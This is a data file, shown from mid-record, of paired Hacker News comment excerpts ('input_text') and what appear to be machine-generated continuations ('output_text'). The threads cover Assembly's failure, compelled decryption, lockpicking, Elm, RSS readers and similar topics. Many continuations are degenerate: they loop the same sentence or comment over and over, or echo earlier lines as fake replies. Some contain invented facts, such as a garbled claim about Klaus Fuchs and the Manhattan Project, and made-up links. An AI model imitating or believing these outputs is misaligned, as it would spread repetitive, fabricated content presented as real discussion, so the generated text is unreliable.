on\nbuilding a project rather than contributing to other projects.\n\n~~~\njoeevans1000\nI think you are right that Assembly was a victim of its own success. It was\nthe first platform to really take off and it attracted a lot of talent.\n\nIt's interesting that you say that projects were being driven by a single\nperson. I think that is a very rare occurrence. I've seen projects on\nAssembler that were started by a single person and", "input_text": "-2015-03)\n\n~~~\nasmel\nCoderwall wasn't built on Assembly, it was owned by one of the Assembly co-\nfounders and they brought it onto the platform, but little work happened to it\nonce it was on the platform.\n\n \n \n It was a good system, really, and resulted in some \n pretty neat projects. That said, I'm not surprised \n to see it being shuttered. A while back they pivoted \n most of their tools [...]\n \n\nTheir platform was very good. The pivot only happened quite recently, it\nseemed like a last ditch attempt to build a product that could generate\ninterest rather than a mistake that caused the death of Assembly.\n\nMy take is that Assembly (the original platform) failed because for a project\n(being developed on the platform) to succeed it needs passionate people\nheavily invested in a vision for the project: the majority of projects created\non Assembly didn't have this, they had people who thought \"this is cool\" and\nwere willing to contribute an hour or 2, but they lacked passionate leaders.\n100 people who think \"this is cool\" aren't worth 1 that thinks \"this is the\nfuture, I'm putting everything I have into this\". Most projects on Assembly\neffectively limped from contributor to contributor.\n\nBuckets was a good example of a project being built on Assembly that had the\nchance to succeed because there was a lead developer who was driving it\nforward, he was very passionate, had a vision and invested a lot of his time\ninto it, and others were providing value even if they just dedicated an hour\nor so.\n\nAssembly (the company) probably would have had a better chance of succeeding\nif they had built the platform and then had their employees focused"} +{"output_text": " get as much or as little visual stuff as I want.\n\nAs for traction, I think you're going to have to get a few bloggers on board.\n\n~~~\narturadib\nThanks for the feedback. I'm not looking for traction on the blog reader\nfront... I'm looking for traction with the feed reader market as a whole.\n\nI'm thinking about getting a few bloggers on board, but I'm not sure if that's\nthe best approach.", "input_text": " serious matter.\n\n~~~\ndanek\nmaybe the fbi thinks terrorists were communicating via blog comments, in a\nsecret code designed to look like spam? as far as'movie-plot terrorism' goes,\ni don't think it's too far fetched.\n\n~~~\nnaturalized\nDoes it mean that any site can be shut down if it's used by terrorists? Which\none is next: facebook, because terrorists can create a group there and send\nmessages, twitter, because a terrorist cell can use it to coordinate attacks,\nor perhaps wordpress? Which service will be shut down next?\n\n \n\nRate my startup: Feedlooks, a web-based RSS reader - arturadib\n\nDesigned this out of my own frustration with current web-based RSS readers:

As a blogger, I was wondering why I was spending my time working on the blog design if most feed readers would strip off the visuals anyway.

All I needed was a web app that would list new items since I last checked, and would show the actual web content in full visual glory once I clicked on an item. (Without opening a new tab).

Hence Feedlooks. The bet is that there is a chunk of the RSS reader market that feels a similar need.

I'm looking for ideas and suggestions on how to get traction, comments on the app itself, and possible business opportunities.

Thanks!

http://www.feedlooks.com\n======\ncrux\nWell, as a blog reader, I rather like the absence of bloggers' visual glory\nwhen I read my feeds. I'm interested in articles, not in someone else's design\nskills. Especially since, in most readers, I can set my own CSS preferences\nand thus"} +{"output_text": " else. If they\ncan show probable cause that the data exists, and that the data can be\ndecrypted, they should be able to get it.\n\n------\nsliverstorm\nI am not a lawyer, but I am a programmer, and I am pretty sure that the\n\"encryption\" in this case is just a way of referring to the data on the drive\nas a series of bits.\n\nIf the data is just bits, and the drive is erased", "input_text": " him.\n\n~~~\ntedunangst\nI don't see the problem. People get convicted based on faulty evidence. The\nsad fact is it happens. [Yes, that is a problem, but...] Why is cryptography\nspecial?\n\n~~~\ngcb\nread the comment that started this thread.\n\nthe guy has a file that is pure garbage. not encrypted.\n\nthe law officers THINK it's encrypted. the judge orders him to give the key.\n...there's no key. it's honestly garbage data.\n\nThat's what make encryption special. It were a safe, the police could crack it\nopen somehow. with encryption, they can just claim it's too advanced to be\ncracked and that will be treated like you are lying.\n\n------\npavelkaroukin\nBTW, hackers, if you did not see it yet, check out what EncFs offer you.\nEssentially, it allows you to have multiple passwords on the same repository,\nand only files decryptable with currently used password are shown (require\nspecial option during mounting to ignore incorrect password warning).\n\nUsing that you can have any number of passwords and any number of \"partitions\"\ninside your folder. This is not like hidden partition in TrueCrypt, where you\ncan not prove it exists at all.\n\n------\nGroxx\nMakes sense.\n\nYes, dead-man switches and whatnot always come up with cases like this -\nthat's not really part of this ruling. This case includes: a) they have record\nof the defendant stating the information exists on the machine, which she\nstated she owns, and b) they have (a very good) reason to believe the drive\ncan be decrypted.\n\nAll of this strikes me more as a search warrant than anything"} +{"output_text": " I\u00b4m trying to make a game.\n\nI think the biggest criticism is that I didn\u00b4t make the game more difficult.\nI\u00b4m aware of the \"check if opponent is sleeping\" and \"check if opponent is\nabout to check\" ideas. I like the idea, but I think it would make the game\ntoo easy. I\u00b4m trying to make it more difficult by making the board more\ncomplicated, but I\u00b4m open to suggestions.\n\n", "input_text": "~~~\norblivion\nAt one point I remember he said it doesn't matter that we can't see the source\ncode running on remote computers because they're not rightfully in your\ncontrol. It's just something you're connecting to with something you do\ncontrol. You have the potential to check on your safety because you can see\neverything going in and out of your computer.\n\n------\narnoooooo\nRegarding open source, I think the point about security is not so much that\nyou will read the entire source yourself, but that the reading of the source\nis, like its writing, a collective enterprise. If there's a backdoor, somebody\nat some point will see it.\n\n------\nbreakyerself\nAren't there laws against companies making Backdoor like this? Not that I'm\nnaive enough to think that means it won't happen.\n\n------\nVMG\ntypo in headline\n\n~~~\nemillon\nFixed - thank you!\n\n \nChesSkelet: Micro Chess Game for ZX Spectrum in 365 Bytes - sohkamyung\nhttp://chesskelet.x10host.com/\n======\nreeagbo\nHi! the author here. I really dig your comments, including the criticisms. I\nsee some people even looking at the code. My current intention is to work on\nit a bit more. The version online is not the final one yet.\n\nFirst thing: maximum respect for earlier implementations, especially 70s and\n80s ones, which seem to me much more difficult to complete with the resources\nof that time. And for 1K programs like Toledo's, I\u00b4m fully aware it would\nsmash my code, but I\u00b4m not trying to do something playing well, you ave tons\nof good playing programs."} +{"output_text": ")!\n\nI agree that this is ironically good advice because its bad advice.\n\nI think the advice is good because it's about prioritizing and focusing on\nwhat matters most.\n\nLaunching quickly is great, but if you don't prioritize and focus on what\nmatters most, you'll launch and fail.\n\nLaunching quickly is great, but if you don't prioritize and focus on what\nmatters most, you'll launch and fail.\n", "input_text": " any time I've thought of something\nthat could be done that readily, I've eventually found someone else that\nalready tried it (usually unsuccessfully). The successes I've had have come\nfrom long, hard slogs. May MeetButter meet better fortune.\n\n~~~\nadamthewan\nHey, Adam from MeetButter (the OP) here!\n\nI don't believe you can slap together something in 3 weeks and call it a day.\n\nWe did it to gather market sentiment and feedback for an idea, any signals or\nsigns to show that we were in the right direction.\n\nYour MVP is the start of a conversation with your users / target market.\nReiteration and pivoting your initial MVP based on user feedback will slowly\ninch you towards product-market fit. That is the long, hard slog.\n\nIn regards to building low-hanging fruits (hackathon timeframe ideas), some\nlow-hanging fruits have deeper roots. You might find deeper problems that give\nyou better insights on how to build something that people really want.\n\n------\npreommr\nThis is ironically good advice because its bad advice.\n\nThese kind of general statements about how an mvp should take x weeks are\npointless because each project is different. Which is an obvious statement. So\nis the suggestion that you should launch as fast as possible.\n\nLaunching quickly, failing, is a really good way of understanding time\nmanagement on a macro scale for an entire software project/startup.\n\nAnd its not just about pacing or knowing how long a feature should take to\ndevelop, but many many things like which feature to develop at which point\nbecause it might be much more difficult later on.\n\n~~~\nadamthewan\nHey, Adam from MeetButter here (OP"} +{"output_text": "\n> Only one physicist quit the Manhattan project iirc.\n\nThat's not true.\n[https://en.wikipedia.org/wiki/Klaus_Fuchs](https://en.wikipedia.org/wiki/Klaus_Fuchs)\n\n~~~\nCamperBob2\nHe was a low-level technician, not a nuclear engineer.\n\n------\njokoon\nI wonder if the US has a problem of people wanting to become soldiers, even if", "input_text": "My guess is that the question never comes up. If you're an adult thinking in\nterms of an abstract blueprint of a weapon, the thought of a child stumbling\non the dirt-strewn concrete implementation of your device is very far from\nyour mind, almost impossible to think of. The only way you would think of it\nis if someone pulls the possibility off a checklist built from cases like\nthis. Be honest: if you saw the picture in the article _without_ the\nsurrounding context to make you think about toys, how likely would you have\nbeen to think of them that way? To think that someone else would think of them\nas toys? I'm guessing it's low. My first visual impression was of dead bugs or\ncigars wrapped in leaves (which I'll grant might be just as tempting to a\nchild).\n\nNot that any of that makes it ok. I'm more convinced than ever that failure of\nimagination is a form of morally judgable (what's the right word here?)\nnegligence. But it would have been hard to see that far into the future in\nthis case.\n\n~~~\ncam_l\n>If you're an adult thinking in terms of an abstract blueprint of a weapon..\n\nYou are probably not making mines. I don't know. It makes perfect sense to me\nthe kind of mass murdering sociopath capable of working on such a device would\nfind it perfectly ok to target children.\n\nOnly one physicist quit the Manhattan project iirc. Maybe the indiscriminate\nnature of mass murder is not such an irksome burden for a weapons designer or\ndistributor. Maybe the people that find themselves in that line of work fully\nunderstand the risks but just don't care.\n\n~~~\ntoufiqbarham"} +{"output_text": "-centric\nworldview, and don't really understand how people get around without them.\n\n------\njamespitts\nI'm a big fan of the \"How to Walk\" blog.\n[http://walking.jamespitts.com/](http://walking.jamespitts.com/)\n\nHe's got some great tips there.\n\n------\njamespitts\nI love this blog. He's got some great", "input_text": ". There was some great\ngraffiti art, lots of Mexican food available, etc. I found a good comic\nbookstore to get something for my daughter. Overall, it's a pretty nice walk.\n\n~~~\nsmelendez\nI've had similar experiences in other U.S. car-oriented cities, too. I have a\ndriver's license, but I've lived in big cities and literally haven't driven in\nyears and always walk or take transit anywhere I visit.\n\nI think people with cars in those cities often just don't know what routes are\nwalkable and which aren't and assume the worst. People do the same with \"the\nbus,\" I've found--I've been to many places where people who don't take public\ntransit and don't even know how much it costs or where the routes go assume\nthat it's dirty, unreliable, filled with criminals, etc.\n\nBut I'm probably doing the same with renting a car when I travel--\noveremphasizing the expenses and inconveniences and discomforts involved.\n\nOne problem I have had walking in various car-oriented cities is poor-to-\nnonexistent signage for pedestrians. A busy, curvy street might suddenly go\nfrom having sidewalks on one side to sidewalks only on one with no prior\nnotice pretty far from the last crosswalk, forcing you to backtrack half a\nlong block, walk on the shoulder of the road or jaywalk-sprint through\ntraffic. Or a complicated highway interchange running through the middle of a\ncity might be easily circumvented on foot, but there's no signs telling you\nhow to do it, leading to a lot of backtracking and meandering through no-\nman's-land.\n\nI think the transportation planners unfortunately fall into the car"} +{"output_text": " the confusion is the movie \"all the money in the world\"\n\n\n\n~~~\ncitricsquid\nI think you mean \"all the fools in the world\"\n\n------\nsliverstorm\nI wonder what the AnonOps IRC channel will say about this?\n\n~~~\nsliverstorm\nI was going to say that I bet they'll be", "input_text": "! YES! That little snapping feeling. I still remember getting my first lock,\n:). I was on the phone with a friend and just raking the crap out of it until\nfinally _POP_.\n\nShe did not understand my excitement.\n\n \n\nThe hackers hacked: main Anonymous IRC servers seized - thornjm\nhttp://arstechnica.com/tech-policy/news/2011/05/the-hackers-hacked-main-anonymous-irc-servers-seized.ars\n\n======\njoshes\nThe tl;dr of it all is that, according to at least one Anon, this \"Ryan\"\nfellow was a former moderator of the IRC and was the legal owner of the\nAnonOps.ru and AnonOps.net domains. Apparently, two others, \"Nerdo\" and \"Owen\"\n(whom you may remember from the HBGary fiasco), revoked his IRC credentials.\nRyan somewhat predictably responded by DDOS'ing (with help from 808chan) and\nessentially taking his domains and going home. Some Anons responded by getting\n\"Ryan\"'s docs and now it's all just a bunch of circle jerking.\n\n~~~\ncitricsquid\nIt's as if you just described the entire \"Anonymous\" thing in one simple\nsentence fragment:\n\n> it's all just a bunch of circle jerking.\n\n------\nGoodIntentions\nReading that article brought to mind a sarcastic question I heard addressed\nfrom a skin to a young punk decades back:\n\n\"So who is in charge of this whole anarchy thing anyway?\"\n\n~~~\ngcb\nYou can only hear that from someone that still mix up anarchy with chaos.\n\na good example to end"} +{"output_text": "They are the only ones that can make them.\n\nThey are the only ones that can make them.\n\nThey are the only ones that can make them.\n\nThey are the only ones that can make them.\n\nThey are the only ones that can make them.\n\nThey are the only ones that can make them.\n\nThey are the only ones that can make them.\n\nThey are the only ones that can make them.\n\nThey are the only", "input_text": ",959\n\n5\\. Oracle | 2.09% | $52,312\n\n6\\. Redis | 1.92% | $51,728\n\nMore stats and details here\n[https://jobsquery.it/stats/databases/group](https://jobsquery.it/stats/databases/group)\n\n~~~\nnetcraft\nnot sure if it was intended, but the article is discussing MSSQL not MYSQL. I\nthink MYSQL has a popularity advantage over PGSQL because of a long tail of\nhistorical reasons, but this is just my opinion.\n\n~~~\ncollyw\nIts a bit like PHP, its easy to install and get started compared to PG (I need\nto look up the docs every time I do a PG install to get the initial users\nstarted - Mysql often offers me that from the OS package manager).\n\n \nAs China Hacked, U.S. Businesses Turned a Blind Eye - derchu\nhttps://www.npr.org/2019/04/12/711779130/as-china-hacked-u-s-businesses-turned-a-blind-eye\n======\nwatertom\nForget about the hacking.\n\nU.S. business walked into China and handed over all of their technology and\nIntellectual Property, just to have it used against them by the Chinese\ngovernment. China has only resorted to hacking lately in order to get more\ntechnology and IP.\n\n~~~\nTaylorAlexander\nAnd I think that\u2019s a good thing. Intellectual Property is harmful to most and\nonly benefits a few. If we abandoned the notion we\u2019d be better off.\n\n~~~\nNicoJuicy\nSamsung spend 130 million on research on bendable phones.\n\n"} +{"output_text": " the mobile phone market and\nwon it. Apple predicted the tablet market and won it. Google predicted the\ntablet market and is winning it.\n\nI think the Atari prediction was a bit different. I think they saw the\npotential of the internet and the mobile phone market and thought that they\ncould take on the PC market. I think they were right.\n\n~~~\naiscott\nI think the tablet market is a lot bigger than the smartphone market. I also", "input_text": "\ntill 2003.) It is so ingrained in my Web habits that I have the feeling it\nexisted already in the 90s.\n\n~~~\nJamesLeonis\nYou hit the nail on the head! I thought of some other things that would have\nfloored me 10-15 years ago.\n\n* Ask yourself what you used to search before Google? In fact, remember Web Rings?\n\n* How did you share pictures before Facebook, Myspace, or Flickr?\n\n* How about the holy grail of watching videos online before Youtube (Otherwise known as the dark ages of Real Player)?\n\n* Remember when you had to print out Mapquest directions to somebody's house? God forbid you missed a turn! When was the last time you consulted a paper map other than for fun?\n\n* How did you deal with the mountains of spam before Gmail, or any other industrial strength spam filter?\n\n* How about getting the internet on your cell phone?\n\n* When was the last time you had to pay for WiFi? Granted there are some holdouts, like airports, but WiFi is practically everywhere. If you can get into a Starbucks you have access, for free, to the internet.\n\n* How about downloading a 10mb file in less than an hour? God help you if the connection was interrupted...\n\nThe things we do today are astounding in both the scope of their capabilities\nand how much we take them for granted.\n\n------\naiscott\nI think this is pretty neat in retrospect, but it seems to me it didn't do\nAtari much good.\n\nMakes me wonder if all these \"Vision of the Future\" videos that companies put\nout now are equally as pointless.\n\n~~~\nandrewfelix\nI often think the same thing. Microsoft predicted"} +{"output_text": " satire?\n\nOr am I missing something?\n\n~~~\njfoutz\nI think it's satire, but I think it's satire with a grain of truth. I think\nthat a lot of people learn to manage themselves and their environment poorly\nin college. I think that a lot of people learn to be passive and think\ncritically about the world around them in college. I think that a lot of\npeople learn to be passive and think critically about", "input_text": " hold true from college, but a large majority of\nthe technologies, techniques, etc are no longer relevant.\n\n~~~\namputect\nThis would be true if you got a degree in FORTRAN or Java 1.5 (and if you did,\nthen that's a bummer!) instead of Computer Science. The vast majority of\nthings I learned with a computer science degree are language-agnostic, and the\nonly reason we used any language at all was because pseudocode is hard to\ncompile.\n\n~~~\ncyang08\nAgreed. For me, it was a big shift at first transitioning from a more\nvocational mindset (learning the language/framework of the day) to the\ntheoretical (design patterns, paradigms, architecture).\n\nAs an aside, just got through Martin Fowler's musing on architecture\n(). Highly recommended!\n\n------\nollidorn\nAs a med student, never in my life have I had the slightest provocation to\nconsider dropping out of school to pursue a startup. I know that I am\nextremely unfamiliar with the complexity of the choices involved, but having\nread this piece I'd be shocked if any prospective entrepreneurs were not\nstrongly persuaded to take this man's advice. This is wisdom without the\nostentatiousness of a NYT opinion.\n\n~~~\nmichaelfdeberry\nThere are different risk dynamics between someone that is studying medicine\nand someone studying computer science. The major one being that if you drop\nout while studying CS you could still likely get a job as developer if you are\nable to prove you are capable.\n\n------\nneilk\n\"college also teaches the life skills needed to succeed\"\n\nWhoa. Is this subtle"} +{"output_text": " age. I don't think it's unreasonable to expect them to\nbe able to use the devices for a few hours a week to do research and maybe\npresent something at the end of it.\n\n------\nsageikosa\nI think this is a good move on Apple's part. It's not a perfect solution, but\nit's a solution.\n\nThe first thing that comes to mind for me when I think about the problems\nthat this creates is the problem of", "input_text": " why they do not just switch to a whitelist, or why they even bother\nwith Internet access at all.\n\nEven if the censorship were limited, I cannot see how it would be justified.\nSuppose only hardcore pornography were blocked -- how is that acceptable?\nWould it not be better to punish students caught watching pornography at\nschool by having them write a lengthy essay about the history and politics of\npornography (and wouldn't the ability access at least one pornography website\nbe necessary?)? If the goal is _education_ shouldn't the focus be on\n_educating_, rather than on trying to shield students from the world?\nConsider the flip side of this: as a kid I was once sent to a summer program\nfor programming, and one of the other students was caught installing back\norifice on the computers. His punishment was to explain the software to\neveryone, along with the ethics of installing it without permission.\n\n------\nma_mazmaz\nThis is certainly not an issue with iPads, specifically. Students probably\nspend more time using computers for entertainment and social networking than\nthey do for school, but that doesn't stop teachers from taking their students\nto computer labs to type essays. Just because something can be used for fun,\ndoesn't mean that it has a place in schooling. Moreover, students very\ncommonly get around the very weak security procedures in place, which, more\noften than not, prevent students from doing legitimate school work, rather\nthan preventing abuse.\n\n------\nTrezoid\nHonestly, I'm a little surprised they weren't all completely open by lunchtime\nthe first day. Kids, when given access to technology in a school environment\nwill _always_ find new ways to (primarily) play games, and those ways will\nevolve as the schools"} +{"output_text": "\n(emphasis mine).\n\n> Dr. Haidt\u2019s research has been criticized for not taking into account the\n> effects of testosterone, which he assumes is the driving force behind\n> aggressive behavior.\n\nI think this is a fair criticism, but I don't think it invalidates the\nconclusion that women are more nurturing than men.\n\n> The gender gap in STEM is not due to women not trying as hard as men.\n\nI agree with", "input_text": " from comments like these, on the main page: \"My white\nmale sons are now 30 and 28. I\u2019m so happy they escaped public high school\nrelatively unscathed, but I could see the beginnings of the nonsense, led by a\nfaculty of activist females and male eunuchs. Public schooling in this country\nmay have begun with noble intent; kids are now truly being inculcated rather\nthan educated.\" and \"You state this like it is an article of faith that women\nwould be totally rad in STEM if only men would stop holding them back. What\nmakes this \u201csketchy\u201d? There is an abundance of evidence that men and women are\ndifferent and think differently. There is almost no evidence that women will\nchange that position based on upbringing.\" and then on hnews itself:\n\"#KillAll(White)Men is literally calling for ethnic / gender purging.\" (though\nit was downvoted).\n\nIt would be great to have a conversation with Dr. Haidt, but I was turned off\nby how both Heterodox and Hacker News turned into \"amen\" forums. There were\ntwo students who posted on Heterodox, and they had some interesting points,\nsome of which disagreed with Dr. Haidt.\n\n~~~\nhenshao\nThe commentators are self selecting - if they strongly agree, they comment,\nwhich they have. You're still trying to dismiss the article based on people\nhaving opinions different than yours, rather than critiquing the article\nitself.\n\n~~~\nccernaf\nWould you agree with me in saying that the comments are at least\ndisappointing?\n\nIn terms of the article itself, I agreed with this part, \"High schools and\ncolleges that lack viewpoint diversity should make it their top priority\""} +{"output_text": " you don't\nchange it, it's gonna be white.\n\n~~~\njordigh\nI'm talking about the default browser configuration.\n\n~~~\nMrManatee\nAh, gotcha.\n\n------\njheriko\nthe 'snow' effect is really impressive\n\n------\njheriko\nthe 'snow' effect is really impressive\n\n------\njheriko\nthe 'snow' effect is really impressive\n\n", "input_text": " seems to render it fine\n\n~~~\n52-6F-62\n73.0.1 on mac reporting\u2014it's almost perfect but the eyes are flawed. There's\nsome ghosting\n[https://i.imgur.com/r9kycp8.png](https://i.imgur.com/r9kycp8.png)\n\n------\ndusted\nCool pictures! Well done! That's quite a feat indeed!\n\nNot being a fan of CSS, I think this (the CSS source code) shows fairly well\nwhy I'm not a fan of CSS.\n\nSure, doing things like this is not what CSS is meant for.\n\nCSS is meant for making HTML do things it wasn't meant for.\n\n------\nDiabloD3\nSome of these do not seem to render correctly on Firefox. Seems to rely on\nChrome-specific behavior.\n\n~~~\nJosephRedfern\nSame here: [https://i.imgur.com/M07sFus.png](https://i.imgur.com/M07sFus.png).\nFF72 (just realised I'm a bit out of date).\n\n~~~\ngnulinux\nFF73 on OSX, I see the same result as that image.\n\n------\nSharparam\nViewing this page with Dark Reader enabled makes for quite a harrowing\nexperience...\n\n[https://i.imgur.com/AUTXPfW.png](https://i.imgur.com/AUTXPfW.png)\n\n~~~\njordigh\n:-(\n\nEveryone forgets that white is not the default background colour. There is no\ndefault background colour!\n\n~~~\nMrManatee\nSome forget. This page explicitly sets the background white. If"} +{"output_text": " spyware. I'm not sure how people can know\nwhat they're getting themselves into.\n\n~~~\njoeblau\nI think this is a really good point. I've always been scared of \"free\" apps\nbecause I've never been able to figure out what's actually inside. I've always\njust assumed that they're doing the same thing as the \"malware\" apps I've\nalways hated.\n\n~~~\ndharma1\nI've always been", "input_text": "person interview, except this time with the\nroles reversed. I asked them to walk me through their products and platforms\nso I could better understand what I would be working on. Ten minutes in, I\nrealized what I was looking at. I treaded water until the end of the interview\nand called them a few days later to decline the offer.\n\nThe [engineering] team was solid, the tech was intriguing (a lot of expressjs\nmicroservices and interesting design patterns), and the offices were great.\nBut given the wealth of compelling opportunities for javascript engineers, I\ncouldn't come up with a good reason to work on something so insipid and\nmanipulative. This article is strangely validating, perhaps in a schadenfreude\nkind of way.\n\n~~~\nkragen\nGood for you. If more people were like you, companies like 50onRed wouldn't\nexist.\n\nI think you may have meant \"insidious\", though, not \"insipid\" \u2014 because\n\"insipid\" is the opposite of \"intriguing\" and \"compelling\".\n\n~~~\nalanh\nI think it works. The 'problem' 50onRed is'solving' is not an intriguing or\ncompelling one.\n\n------\nBradyDale\nWorth noting that the reporter on this story is a beat reporter who has been\ncovering the Philadelphia tech scene closely for years now. She knows it like\nno one else.\n\n~~~\nkmano8\nAgreed- Juliana is top-shelf.\n\n------\ndharma1\nI had no idea there is a such a large industry doing this type of stuff until\nbuilding a Windows 10 machine recently for VR. So many \"free\", seemingly\nkosher apps seem to install sneaky"} +{"output_text": " type of customer (ie. technical, non-technical, etc.)?\n\nI'm not saying you're wrong, I'm just genuinely curious as to how you've\nsupported this decision.\n\n~~~\njoshuahedlund\nI haven't done the numbers, but I'd be shocked if the ratio of support time\nfor the $10 and $50 customers was more than 10x. That's just a gut feeling.\n\nI've seen anecdotal evidence that", "input_text": " support incidents\nper month. I've taken the liberty of scaling them to X, where X represents the\nnumber for the highest publicly available account plan.\n\n~~~\nibotty\nyou are certainly right with your scale, but i guess zobzu's point is, that\nyour non-support costs (say: development) is mostly paid by your 9$ and 29$\ncustomers (in absolute terms).\n\nso you cannot just get rid of every customer but your high paying ones.\n\n~~~\njoshuahedlund\nGood point. Of course it's possible that 7X is a cost that cancels out the\nrevenue from those customers, in which case it would be better not to offer\nthe option, but as long as it's not, it's still profitable to offer the plan.\nDepending on the ratios, the cheap customer bracket could even be more\nprofitable (in absolute terms, as you say). You just have to build the extra\nsupport cost into your pricing.\n\n$9 customer - $5 support = $4 per many customers\n\n$199 customer - $1 support = $198 per few customers\n\n------\ncitricsquid\nI share the view, however:\n\n> So it\u2019s not that cheap people require more support. It\u2019s that people who\n> require more support are more likely to make their decision based on price\n> alone.\n\nWhat evidence is there of this? Surely if you have a plan for $10, $50 and\n$100 you're going to have more customers at the $10 price point simply because\nit's so cheap and therefore more support will go to people at that price\npoint. Has anyone even actually released any sort of statistical analysis of\nprice points and support taking into account the pricing, total customers and\nthe"} +{"output_text": "ing, and will\ninevitably fail at some point. If you're in a remote location, you might be\nfine with a dead battery, but if you're in a building with a dead battery\nstation, you're in trouble.\n\n~~~\nproee\nI suppose that's true, but I think the vast majority of locks are not left\nunattended. I have a house and I'm sure I've opened the front door at least a\nfew times while", "input_text": "/competitive_lockpicking_growing_in_us_popularity/?page=full\n======\ndjacobs\nOne of the more striking points of this article (for me) was not so much about\nlockpicking. It was this statement:\n\n\"Some lockpickers observe a code of responsible disclosure by providing\nmanufacturers information on weaknesses they discover in locks they defeat --\n_just like responsible computer hackers do when they detect security flaws in\nsoftware_.\"\n\nI'm thrilled to see a statement like this coming from the mainstream media.\n\n~~~\nbaddox\nYeah, and both types of responsible whistleblowers probably end up getting\narrested.\n\n------\nproee\nI'm surprised there are not more digitally controlled locks on the market -\nsomething that has an embedded microcontroller that releases a solenoid if the\nright code is entered.\n\nWhat's a locksmith hacker to do with such a lock? There's no keyhole to use a\ndiamond pick and so its basically a metal brick. I don't see too many ways to\nopen it without destroying it physically.\n\nMaybe I'm missing the big picture, but a traditional keyed lock seems about as\nhigh-tech as an ancient model-T car. It's completely out of place given the\nlatest technology available today.\n\n~~~\nshabble\nThe big problem with digital and electronic locks in general is maintaining\nthe power source. Mechanical locks have extremely low maintenance\nrequirements, and could be left unattended for months or years without issue.\nEven if they then stick, a quick shot of WD40 will usually allow entry.\n\nElectronics, on hte other hand, rely either on external power, or some sort of\ninternal battery. A battery is ill-suited to heavy duty-cycl"} +{"output_text": " the book is a major barrier to their\nunderstanding.\n\nI read on average about 2-3 hours a day, and I can read for that amount with\nnear complete understanding. I can read a book at that pace for a few days\nwithout problems.\n\nI read a lot of technical books, but I have yet to find a book that doesn't\nrequire a word-count.\n\n~~~\njap\nI agree. I can read a book at a", "input_text": " Linux server running\nnode.js. I want to compare some NoSQL datastores to an RDBMS or two.\n\nWhen I want distraction or to rest my brain, I'll take entertainment in short\nspans. I really don't want to invest weeks of two-hour nights reading a work\nof fiction. I'm not terribly interested in reading someone's biography. And\nunless a non-fiction topic is currently meaningful to me (for example, books\nabout the human mind when I was in my early 20s), then I'm not likely to Just\nRead.\n\nI feel like if I Just Read for reading's sake, I'm not honing the craft that's\nimportant to me. I feel like it makes me a \"jack of all trades\" and therefore\n\"master of none.\"\n\n------\ncthalupa\nFor some time I thought I definitely had a shorter attention span due to the\ninternet - I'd be reading something, and compulsively have to go check my\nemail, facebook, forums I visit, hacker news, my frequented subreddits. Read a\nbit more. Check everything. Repeat.\n\nBut I didn't find it all that hard to just close my laptop and put my phone\nfacedown more than an arm's length away. I thought it would be a titanic\nstruggle - but as soon as I made it slightly inconvenient to distract myself,\nI found myself once again able to read through hundreds of pages of books.\n\nIt's anecdotal, of course. But for me, being able to \"read\" again was as\nsimple of giving myself the slightest barrier to getting distracted.\n\n------\ndeadfece\nIn many instructional and self-help books, I find that the author's attempt to\nhit appropriate word-count for"} +{"output_text": " thinking about the cost of a deposition.\n\n~~~\ntptacek\nThis is a really good point. I'm not a lawyer, but I am a programmer, and I\ncan't imagine a more likely scenario for a company to use a tool like Etherpad\nthan to be sued.\n\n~~~\ndctoedt\nI'm not a lawyer, but I am a programmer, and I can't imagine a more likely\nscenario for a company to use", "input_text": "\n\n------\nnawitus\nI prefer a more modular approach to UI components. After using Bootstrap for a\nwhile I find myself often choosing a standalone component over the one\nprovided by Bootstrap, since I can choose the component that best fits to the\nrquirements.\n\n------\nbaby\nI was using Foundation and Bootstrap for years and I recently switched to the\namazing semantic-ui. This seems like a clone of semantic-ui (kind of) and I\ndon't really understand what's the difference.\n\n------\nsmrtinsert\nI'm really in materializecss.com lately.\n\n~~~\nSkyMarshal\nLet me link that for you:\n[http://materializecss.com](http://materializecss.com)\n\n------\nxjia\nI'd love to see a \"related work\" section on the homepage.\n\n \nWatch Paul Graham write his latest essay - jballanc\nhttp://etherpad.com/ep/pad/slider/foundervisa\n======\ndctoedt\nAs a lawyer, I was both fascinated and horrified by the replay.\n\nImagine a company routinely using EtherPad (really cool, BTW) to create\ndocuments -- in the process saving thousands if not millions of interim\ndrafts.\n\nNow imagine the company getting into a lawsuit. Some subset of N documents --\nand of all interim-draft snapshots of those N documents that are still in\nexistence -- will have to be screened for possible disclosure to the other\nside. (There are tools for partially automating this, but lawyers and\nparalegals will still have to individually look at many documents / drafts.)\n\nIn PG's case, there were 2,886 such snapshot drafts for just one document.\n\nMakes me shudder just"} +{"output_text": "~~~\ndanenania\nYes, I know about it. I'm not saying it's perfect, but it's leagues ahead of\nwhat ClojureScript has to offer in terms of tooling.\n\n~~~\nhellofunk\nIt is leagues ahead of what ClojureScript has to offer in terms of tooling.\n\nI would say it is literally leagues ahead.\n\n------\njongalloway2\nElm is my go-to for small,", "input_text": "I just haven't heard of\nanything yet. While they're \"nice to have\" now, these features might become\ncrucial and important.\n\nAnother interesting thing about Elm is its progressive removal of features (I\nthink the infix operator was or is going to be removed soon) in order to make\nthe language more approachable. I actually support this because if you need\n\"true\" ML/Haskell features, there's PureScript.\n\nAnyway, glad to see Elixir and Elm being used productively!\n\n~~~\nhellofunk\nAt the very least, Elm code should be compatible with Google's Closure\ncompiler (just like Clojurescript). There is no reason the Elm folks should\ntry to re-invent the wheel on this, just harness the power of the Closure\nutilities by making your emitted JS standardized and compliant. Then you get\nall sorts of things for free, like dead code elimination, just for starters.\nThe Clojure team realized this from the _start_ and it has done a lot for the\ncljs ecosystem.\n\n~~~\ndanenania\nI disagree. Google Closure is antiquated and complicated to configure and adds\na lot of unpleasant baggage to cljs.\n\nI love Clojurescript as a language, but using it alongside existing js\nlibraries is awkward and error-prone, and getting the build process to work\nsmoothly takes way more time than it should. Cljs gets a lot right too, but it\nshouldn't be held up as an example in this regard.\n\n~~~\nsmnplk\nDo you know about cljs-js?\n[https://github.com/cljsjs/packages](https://github.com/cljsjs/packages)\n\n"} +{"output_text": "o-chee-o-o-laa'.\"\n\nIt's not fun to say. It's [chiocciola].\n\n~~~\npjmlp\nIt is actually quite common in Italy, at least in the North of the country,\nwhere I live.\n\n~~~\nternaryoperator\nIt's not common in the US, where people would say \"choo-o-chee-o-laa\".\n\n~~~\npj", "input_text": "\nsyllables long!) \"douwemaan apenstaartje domain\".\n\nIn my experience most (if not all) people in my age group (18 - 25) simply\npronounce it as \"at\". This could be a generational thing as most of us were\nraised with the internet and all these internet-y terms come quite naturally\nto us.\n\n~~~\nmercer\nIt could very well be an age thing, because I myself and friends of similar\nage 